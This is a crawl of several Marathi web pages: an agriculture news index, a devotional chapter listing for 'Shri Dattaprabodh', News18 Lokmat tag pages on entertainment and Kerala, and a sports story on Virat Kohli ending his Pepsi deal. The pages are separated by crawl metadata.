हवामान महाराष्ट्र यंत्र machine शेती लेखक\nबच्चू कडूंच्या नेतृत्वाखाली एमपीएससी...\nपुणे : स्पर्धा परीक्षांची तयारी करणाऱ्या विद्यार्थ्यांच्या विविध मागण्यांसाठी येत्या 27 स\nजिल्हा परिषदेतील कृषी अधिकारी यांना राजपत्रित...\nमुंबई : जिल्हा परिषदेतील कृषी अधिकारी (गट-क, तांत्रिक) हे प\nजळगाव जिल्ह्यात नवती केळीचे दर स्थिर\nजळगाव ः जिल्ह्यात नवती केळीचे दर मागील आठवड्यात स्थिर राहिले.\nकळमणा बाजारात सोयाबीनच्या दरात वाढ\nनागपूर ः सोयाबीनच्या दरात अल्पशी वाढ वगळता कळमणा बाजार समितीत इतर शेतीमालाचे भाव स्थिर हो\nकोल्हापुरात फळांची आवक मंदावली, मागणीतही घट\nकोल्हापूर : येथील कृषी उत्पन्न बाजार समितीत या सप्ताहात टोमॅटोच्या आवकेत वाढ कायम होती.\nस्वदेशी इथेनॉलमुळे एक लाख कोटींची होणार...सोलापूर : यंदा पेट्रोलियम मंत्रालयास...\nनियोजनबद्ध, हंगामनिहाय पीकपद्धतीतून...पाल (जि. सातारा) येथील जयवंत बाळासाहेब पाटील...\n\"पतंजली'चे डेअरी प्रॉडक्‍टमध्ये पदार्पणनवी दिल्ली ः योग गुरू बाबा रामदेव यांच्या \"पतंजली...\nगहू, हरभरा, गवार बीच्या भावात वाढया सप्ताहात कापसाखेरीज इतर पिकांचे भाव घसरले....\nइथेनॉलच्या भावात वाढीचा निर्णयनवी दिल्ली : इथेनॉल निर्मितीला प्रोत्साहन देऊन...\nमहाराष्ट्रातील सोयाबीन पेंड खरेदीसाठी...मुंबई : राज्यात उत्पादित होणाऱ्या सोयाबीन...\nपडझडीनंतर सुधारणा; वाढत्या प्लेसमेंटचा...श्रावणाच्या शेवटच्या आठवड्यात साचलेल्या मालामुळे...\nगव्हाच्या फ्युचर्स भावात मर्यादित वाढया सप्ताहात कापूस व हरभरा यांचे भाव घसरले....\nपोल्ट्रीतील मंदीचे सावट दिवाळीपर्यंत...नागपूर : धार्मिक सण-उत्सवाच्या परिणामी ब्रॉयलर...\nशेतमाल विक्री व्यवस्थेत सुधारणांची गरजशेतमाल आणि अन्य उत्पादनांच्या विक्री व्यवस्थेत...\nकापूस उत्पादनासह प्रक्रियेचाही घेतलाय...१२५ एकरवरील कपाशीचे काटेकोर नियोजन करत उत्पादकता...\nवजनरूपी पुरवठ्यात वाढ; बाजारात नरमाईनाशिक विभागात शनिवारी (ता. १) ६२ रु....\nप्राथमिक प्रक्रियेतून मूल्यवर्धनआजच्या शेतीच्या बहुतांश समस्या या कापणी-मळणीनंतर...\nनोंदी आणि सांख्यिकी विश्लेषणाशिवाय...उद्योगाचे अर्थचक्र हे मागणी आणि पुरवठ्याच्या...\nभारतीय कापसाला कमी उत्पादकतेचे ग्रहणजगभरात कापूस हे एक प्रस्थापित नगदी पीक आहे. या...\nसोयाबीन, कापसाच्या फ्युचर्स भावात घटया सप्ताहात चांगल्या पावसामुळे गहू वगळता सर्व...\nखप घटल्याने ब्रॉयलर्स नरमले, बाजार...नाशिक विभागात शनिवारी (ता. २५) रोजी ६६ रु....\nहळदीच्या स्थानिक, निर्यात मागणीत वाढया सप्ताहात शेतमालाच्या किमती स्थिर राहिल्या. मका...\nराजस्थानात थेट शेतकऱ्यांकडून कापूस...कॉटन कॉर्पोरेशन ऑफ इंडिया (सीसीआय) यंदाच्या...\nदेशातील ५२ टक्के शेतकरी कुटुंबे...२०१५-१६ या वर्षात देशातील शेतकरी कुटुंबांचे...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00398.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.transliteral.org/keywords/%E0%A4%95%E0%A4%BE%E0%A4%B5%E0%A4%A1%E0%A5%80.%E0%A4%AC%E0%A4%BE%E0%A4%AC%E0%A4%BE/word", "date_download": "2018-09-25T17:26:41Z", "digest": "sha1:GAE7AEAZ5F3YG52IHBROEHF6HVJJ6JH7", "length": 10991, "nlines": 114, "source_domain": "www.transliteral.org", "title": "Keyword - कावडी बाबा", "raw_content": "\nश्री अनंतसुत विठ्ठल उर्फ कावडीबाबा विरचित ’श्री दत्तप्रबोध’ ग्रंथाचे पारायण केल्याने ’गुरुचरित्र’ पारायणाचे पुण्य मिळते.\nश्री दत्तप्रबोध - अध्याय पहिला\nश्री अनंतसुत विठ्ठल उर्फ कावडीबाबा विरचित ’श्री दत्तप्रबोध’ ग्रंथाचे पारायण केल्याने ’गुरुचरित्र’ पारायणाचे पुण्य मिळते.\nश्री दत्तप्रबोध - अध्याय दुसरा\nश्री अनंतसुत विठ्ठल उर्फ कावडीबाबा विरचित ’श्री दत्तप्रबोध’ ग्रंथाचे पारायण केल्याने ’गुरुचरित्र’ पारायणाचे पुण्य मिळते.\nश्री दत्तप्रबोध - अध्याय तिसरा\nश्री अनंतसुत विठ्ठल उर्फ कावडीबाबा विरचित ’श्री दत्तप्रबोध’ ग्रंथाचे पारायण केल्याने ’गुरुचरित्र’ पारायणाचे पुण्य मिळते.\nश्री दत्तप्रबोध - अध्याय चवथा\nश्री अनंतसुत विठ्ठल उर्फ कावडीबाबा विरचित ’श्री दत्तप्रबोध’ ग्रंथाचे पारायण केल्याने ’गुरुचरित्र’ पारायणाचे पुण्य मिळते.\nश्री दत्तप्रबोध - अध्याय पाचवा\nश्री अनंतसुत विठ्ठल उर्फ कावडीबाबा विरचित ’श्री दत्तप्रबोध’ ग्रंथाचे पारायण केल्याने ’गुरुचरित्र’ पारायणाचे पुण्य मिळते.\nश्री दत्तप्रबोध - अध्याय सहावा\nश्री अनंतसुत विठ्ठल उर्फ कावडीबाबा विरचित ’श्री दत्तप्रबोध’ ग्रंथाचे पारायण केल्याने ’गुरुचरित्र’ पारायणाचे पुण्य मिळते.\nश्री दत्तप्रबोध - अध्याय सातवा\nश्री अनंतसुत विठ्ठल उर्फ कावडीबाबा विरचित ’श्री दत्तप्रबोध’ ग्रंथाचे पारायण केल्याने ’गुरुचरित्र’ पारायणाचे पुण्य मिळते.\nश्री दत्तप्रबोध - अध्याय आठवा\nश्री अनंतसुत विठ्ठल उर्फ कावडीबाबा विरचित ’श्री दत्तप्रबोध’ ग्रंथाचे पारायण केल्याने ’गुरुचरित्र’ पारायणाचे पुण्य मिळते.\nश्री दत्तप्रबोध - अध्याय नववा\nश्री अनंतसुत विठ्ठल उर्फ कावडीबाबा विरचित ’श्री दत्तप्रबोध’ ग्रंथाचे पारायण केल्याने ’गुरुचरित्र’ पारायणाचे पुण्य मिळते.\nश्री दत्तप्रबोध - अध्याय दहावा\nश्री अनंतसुत विठ्ठल उर्फ कावडीबाबा विरचित ’श्री दत्तप्रबोध’ ग्रंथाचे पारायण केल्याने ’गुरुचरित्र’ पारायणाचे पुण्य मिळते.\nश्री दत्तप्रबोध - अध्याय अकरावा\nश्री अनंतसुत विठ्ठल उर्फ कावडीबाबा विरचित ’श्री दत्तप्रबोध’ ग्रंथाचे पारायण केल्याने ’गुरुचरित्र’ पारायणाचे पुण्य मिळते.\nश्री दत्तप्रबोध - अध्याय बारावा\nश्री अनंतसुत विठ्ठल उर्फ कावडीबाबा विरचित ’श्री दत्तप्रबोध’ ग्रंथाचे पारायण केल्याने ’गुरुचरित्र’ पारायणाचे पुण्य मिळते.\nश्री दत्तप्रबोध - अध्याय तेरावा\nश्री अनंतसुत विठ्ठल उर्फ कावडीबाबा विरचित ’श्री दत्तप्रबोध’ ग्रंथाचे पारायण केल्याने ’गुरुचरित्र’ पारायणाचे पुण्य मिळते.\nश्री दत्तप्रबोध - अध्याय चौदावा\nश्री अनंतसुत विठ्ठल उर्फ कावडीबाबा विरचित ’श्री दत्तप्रबोध’ ग्रंथाचे पारायण केल्याने ’गुरुचरित्र’ पारायणाचे पुण्य मिळते.\nश्री दत्तप्रबोध - अध्याय पंधरावा\nश्री अनंतसुत विठ्ठल उर्फ कावडीबाबा विरचित ’श्री दत्तप्रबोध’ ग्रंथाचे पारायण केल्याने ’गुरुचरित्र’ पारायणाचे पुण्य मिळते.\nश्री दत्तप्रबोध - अध्याय सोळावा\nश्री अनंतसुत विठ्ठल उर्फ कावडीबाबा विरचित ’श्री दत्तप्रबोध’ ग्रंथाचे पारायण केल्याने ’गुरुचरित्र’ पारायणाचे पुण्य मिळते.\nश्री दत्तप्रबोध - अध्याय सतरावा\nश्री अनंतसुत विठ्ठल उर्फ कावडीबाबा विरचित ’श्री दत्तप्रबोध’ ग्रंथाचे पारायण केल्याने ’गुरुचरित्र’ पारायणाचे पुण्य मिळते.\nश्री दत्तप्रबोध - अध्याय अठरावा\nश्री अनंतसुत विठ्ठल उर्फ कावडीबाबा विरचित ’श्री दत्तप्रबोध’ ग्रंथाचे पारायण केल्याने ’गुरुचरित्र’ पारायणाचे पुण्य मिळते.\nश्री दत्तप्रबोध - अध्याय एकोणीसावा\nश्री अनंतसुत विठ्ठल उर्फ कावडीबाबा विरचित ’श्री दत्तप्रबोध’ ग्रंथाचे पारायण केल्याने ’गुरुचरित्र’ पारायणाचे पुण्य मिळते.\nआत्मा जेव्हा शरीर सोडतो तेव्हा त्याचा पुढचा प्रवास कसा असतो\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00398.warc.wet.gz", "language": "mr", "language_score": 0.72, "bucket": "all"} {"url": "https://lokmat.news18.com/tag/%E0%A4%95%E0%A4%AA%E0%A4%BF%E0%A4%B2-%E0%A4%B6%E0%A4%B0%E0%A5%8D%E0%A4%AE%E0%A4%BE-%E0%A4%B6%E0%A5%8B/", "date_download": "2018-09-25T17:14:51Z", "digest": "sha1:4TQE47NYWBZTONKY65FOI5TMADWMVBXS", "length": 11117, "nlines": 139, "source_domain": "lokmat.news18.com", "title": "कपिल शर्मा शो- News18 Lokmat Official Website", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\nमन:शांतीसाठी कपिल शर्मा करतोय योग\nकपिलनं इन्स्ट्राग्रामवर त्याचे समुद्रकिनाऱ्यावरचे जाॅगिंगचे फोटोज पोस्ट केलेत. नुकतीच त्यानं एक नवी पोस्ट टाकलीय. त्यात गावातलं एक सुंदर घर आहे. आणि त्यावर त्यानं योगाचं महत्त्व सांगितलंय.\nकपिल शर्मा परत येतोय\n'द कपिल शर्मा शो' परत येतोय, कोण-कोण असणार सस्पेन्स कायम\nकपिल शर्माच्या शोला सोनी वाहिनीनं दिला निरोप\nकपिल शर्माचा शो पुन्हा रुळावर\nआंतरराष्ट्रीय फ्लाइट्समध्ये दारू नको- कपिल शर्मा\nसुनीलपाठोपाठ चंदनही करणार कपिलला गुडबाय\nफोटो गॅलरी Mar 9, 2017\nकपिलच्या शोमध्ये अवतरली 'बेगम जान' विद्या बालन\nफोटो गॅलरी Feb 9, 2017\nकपिलच्या घरी ऋषी-नितू हाजीर\nसिद्धूंची 'द कपिल शर्मा शो'मधून एक्झिट, नवा 'गुरू' कोण \nद कपिल शर्मा शो 'सैराट'मय\nअसं आहे कपील शर्माचं नवं 'घर'\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00398.warc.wet.gz", "language": "mr", "language_score": 0.9, "bucket": "all"} {"url": "https://lokmat.news18.com/tag/%E0%A4%95%E0%A5%87%E0%A4%B0%E0%A4%B3/videos/", "date_download": "2018-09-25T17:45:07Z", "digest": "sha1:ALGKNS7C52HZEGS4G3PDJAZNCGMQLFQZ", "length": 10528, "nlines": 138, "source_domain": "lokmat.news18.com", "title": "केरळ- News18 Lokmat Official Website", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\nVIDEO : महाप्रलयातून अवघ्या 10 दिवसाच्या जीवाचं 'एअरलिफ्ट'\nVIDEO : महिलांना बोटीत जाण्यासाठी त्याने पाठीची केली 'पायरी'\nगर्भवती महिलेसाठी देवदूत ठरले नौदल, एअरलिफ्ट करून वाचवला जीव\nVIDEO थरार : केरळ - चिमुकल्याचा जीव वाचवताना जवानानं लावली जीवाची बाजी\nअसा असेल मान्सूनचा प्रवास\nकेरळमध्ये फक्त सचिनच्याच पुस्तकांची लायब्ररी\n'अन् जेव्हा साप देतो कोंबडीची अंडी'\nकोकणात मान्सूनपूर्व पावसाला सुरुवात\nही आहे सर्वात वयोवृद्ध हत्तीण\nकेरळात मान्सून आला रे….\n'प्रादेशिक पक्षांची जबाबदारी वाढली'\n'विकास हेच प्रमुख उद्दिष्ट'\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00398.warc.wet.gz", "language": "mr", "language_score": 0.91, "bucket": "all"} {"url": "https://lokmat.news18.com/tag/sonali-kulkarni/videos/page-2/", "date_download": "2018-09-25T16:52:02Z", "digest": "sha1:QXOITN572EBNPKACKQ6MKDYOYTXAPGQL", "length": 9760, "nlines": 129, "source_domain": "lokmat.news18.com", "title": "Sonali Kulkarni- News18 Lokmat Official Website Page-2", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\n3 चेहरे : देवदत्त नागे, सोनाली आणि उमेश कुलकर्णी\n'डॉ.प्रकाश बाबा आमटे' पडद्यावर\n'वाचाल तर वाचाल'मध्ये सोनाली कुलकर्णी\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00398.warc.wet.gz", "language": "mr", "language_score": 0.89, "bucket": "all"} {"url": "https://mahasports.co.in/virat-kohli-not-to-extend-deal-with-pepsi-reports/", "date_download": "2018-09-25T17:01:40Z", "digest": "sha1:3YAKYS26M66XSJQCOVVD4EVQF3YJGOYM", "length": 7839, "nlines": 60, "source_domain": "mahasports.co.in", "title": "विराट कोहलीचा पेप्सीबरोबरच करार संपुष्टात -", "raw_content": "\nविराट कोहलीचा पेप्सीबरोबरच करार संपुष्टात\nविराट कोहलीचा पेप्सीबरोबरच करार संपुष्टात\nनवी दिल्ली – भारतीय क्रिकेट संघाचा कर्णधार विराट कोहलीने जगप्रसिद्ध शीतपेयाची कंपनी असणाऱ्या पेप्सीची जाहिरात करण्यास यापुढे नकार दिला आहे. भारताचा हा स्टार खेळाडू गेल्या सहा वर्षांपासून पेप्सी या शीतपेयाची जाहिरात करत होता.\nकोणत्याही खेळाडूने एखाद्या कंपनीशी करणार केल्यानंतर जेव्हा तो करार संपतो तेव्हा तो वाढवायचा किंवा नाही याबद्दल खेळाडूची त्यावेळीही लोकप्रियता ध्यानात घेतली जाते. त्यामुळेच याबद्दल विराटकडे विचारणा झाली असेल. विराट कोहली गेल्या सहा वर्षांपासून पेप्सीसोबत ब्रँड अम्बॅसेडर म्हणून काम करत होता. सध्या प्रसिद्धीच्या शिखरावर असणाऱ्या विराटला यामुळेच हा करार पुढे वाढविण्याची पेप्सीकडून विचारणा झाली असेल.\nयाबद्दल बोलताना विराट म्हणाला, ” ज्या गोष्टी मी स्वतः खात, पीत नाही, त्या मी दुसऱ्यांना कसे काय खाण्यास सांगू शकतो. याआधी ज्या गोष्टींचा मी स्वीकार केला होता, ज्यांचा उल्लेख मी आता करू इच्छित नाही, त्यांच्यासोबत स्वतःला जोडू शकत नाही. ”\nमार्च महिन्यात कॉर्नर स्टोन कंपनीचा सीईओ आणि विराटचा मॅनेजर बंटी साजदेह म्हणाला होता की विराटचं पेप्सी बरोबर करार ३० एप्रिल पर्यन्त आहे आणि सध्या आमची पेप्सीबरोबर करार वाढविण्यासाठी चर्चा सुरु आहे. पेप्सी हा एक मोठा आणि फायदेशीर ब्रँड आहे ज्याकडून आम्हाला मोठी कमाई झाली आणि आम्ही पुढेही हा करार सुरु राहण्यासाठी आशावादी आहोत.\nविराट कोहली हा भारतातील सर्वात मोठा ब्रँड असून तो एका दिवसाचे ५ कोटी रुपये घेतो. त्यांनतर बाकी सेलिब्रिटीचा नंबर लागतो.\nVideo: विराट कोहली, मिराबाई चानूने राष्ट्रपतींच्या हस्ते स्विकारला खेलरत्न पुरस्कार\nटीम इंडियाकडून या क्रिकेटपटूने केले वनडे पदार्पण\nएमएस धोनी ठरला भारताचा आजपर्यंतचा सर्वात वयस्कर कर्णधार\n200 वनडेत नेतृत्व करणारे कर्णधार\nटाॅप ३- धोनीसह केवळ या दोन दिग्गजांनी २०० वनडे सामन्यात केले संघाचे नेतृ्त्व\nआणि धोनी पुन्हा झाला टीम इंडियाचा कॅप्टन कूल\nजर अफगाणिस्तान एशिया कपमध्ये आज टीम इंडियाविरुद्ध जिंकला तर….\nएशिया कप २०१८: टीम इंडियासाठी या कारणामुळे अफगाणिस्तान आहे धोकादायक\nरोहित, शिखरच्या शतकांमुळे चहलचा हा विक्रम राहिला दुर्लक्षित\nम्हणून हरभजन सिंगने केले थर्ड अंपायरला ट्रोल\nशिखर धवनच्या हॅक झालेल्या ट्विटर आकाउंटवरुन राशीद खानला आला मेसेज\nसर्बियन ज्युनियर, कॅडेट ओपन टेबल टेनिस स्पर्धेत भारतीय खेळाडूंची तब्बल 18 पदकांची कमाई\nलिटिल चॅम्पियनशिप सिरीज 2018स्पर्धेत आर्यन किर्तने, शार्दुल खवले, प्रिशा शिंदे यांना विजेतेपद\n‘धोनी रिव्हू सिस्टिम’ या प्रणालीची का होत आहे इतकी चर्चा\n19 वर्षाखालील निमंत्रित क्रिकेट स्पर्धेत पीवायसी व एमसीए 1, तर व्हेरॉक व पूना क्लब संघांचा उपांत्य फेरीत प्रवेश\nअखिल भारतीय खुल्या फिडे रेटिंग बुद्धिबळ स्पर्धेत एकूण १९२ खेळाडू झुंजणार\nपाकिस्तान विरूद्धच्या सामन्यात रोहित शर्माची विक्रमांची बरसात\nनव्या मौसमासाठी एफसी पुणे सिटीच्या नव्या जर्सीचे अनावरण\nरोहित 